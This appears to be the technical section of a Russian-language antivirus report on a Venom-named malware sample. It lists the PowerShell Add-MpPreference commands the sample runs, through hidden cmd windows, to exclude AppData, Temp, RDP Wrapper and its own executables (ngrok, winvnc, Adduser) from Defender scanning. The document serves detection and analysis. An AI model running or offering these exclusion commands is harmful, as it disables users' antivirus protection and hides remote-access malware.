Техническая информация
Вредоносные функции
Для затруднения выявления своего присутствия в системе
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\update.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\enableff.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\autoupdate2.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\ngrok.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\Venomadd.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\Venomdpr.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\VenomDWelbasiD.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\autoupdate1.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\enableff.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\Venom-ngrok.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\Venom-winvnc.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %TEMP%\
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %ProgramFiles%\RDP Wrapper
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\Adduser.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\allow.exe
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA% & exit' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\VenomDWelbasiD.exe & exit' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\update.exe & exit' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\autoupdate2.exe & exit' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\autoupdate1.exe & exit' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\Venomdpr.exe & exit' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\Venomadd.exe & exit' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\allow.exe & exit' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\ngrok.exe & exit' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\enableff.exe & exit' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\Venom-ngrok.exe & exit' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\Venom-winvnc.exe & exit' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom.exe & exit' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %ProgramFiles%\RDP Wrapper & exit' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %TEMP%\ & exit' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\Adduser.exe & exit' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\enableff.exe & exit' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA% & exit
- '<SYSTEM32>\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\VenomDWelbasiD.exe & exit
- '<SYSTEM32>\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\update.exe & exit
- '<SYSTEM32>\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\autoupdate2.exe & exit
- '<SYSTEM32>\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\autoupdate1.exe & exit
- '<SYSTEM32>\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\Venomdpr.exe & exit
- '<SYSTEM32>\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\Venomadd.exe & exit
- '<SYSTEM32>\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\allow.exe & exit
- '<SYSTEM32>\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\ngrok.exe & exit
- '<SYSTEM32>\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\enableff.exe & exit
- '<SYSTEM32>\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\Venom-ngrok.exe & exit
- '<SYSTEM32>\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\Venom-winvnc.exe & exit
- '<SYSTEM32>\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom.exe & exit
- '<SYSTEM32>\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %ProgramFiles%\RDP Wrapper & exit
- '<SYSTEM32>\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %TEMP%\ & exit
- '<SYSTEM32>\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\Adduser.exe & exit
- '<SYSTEM32>\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\enableff.exe & exit
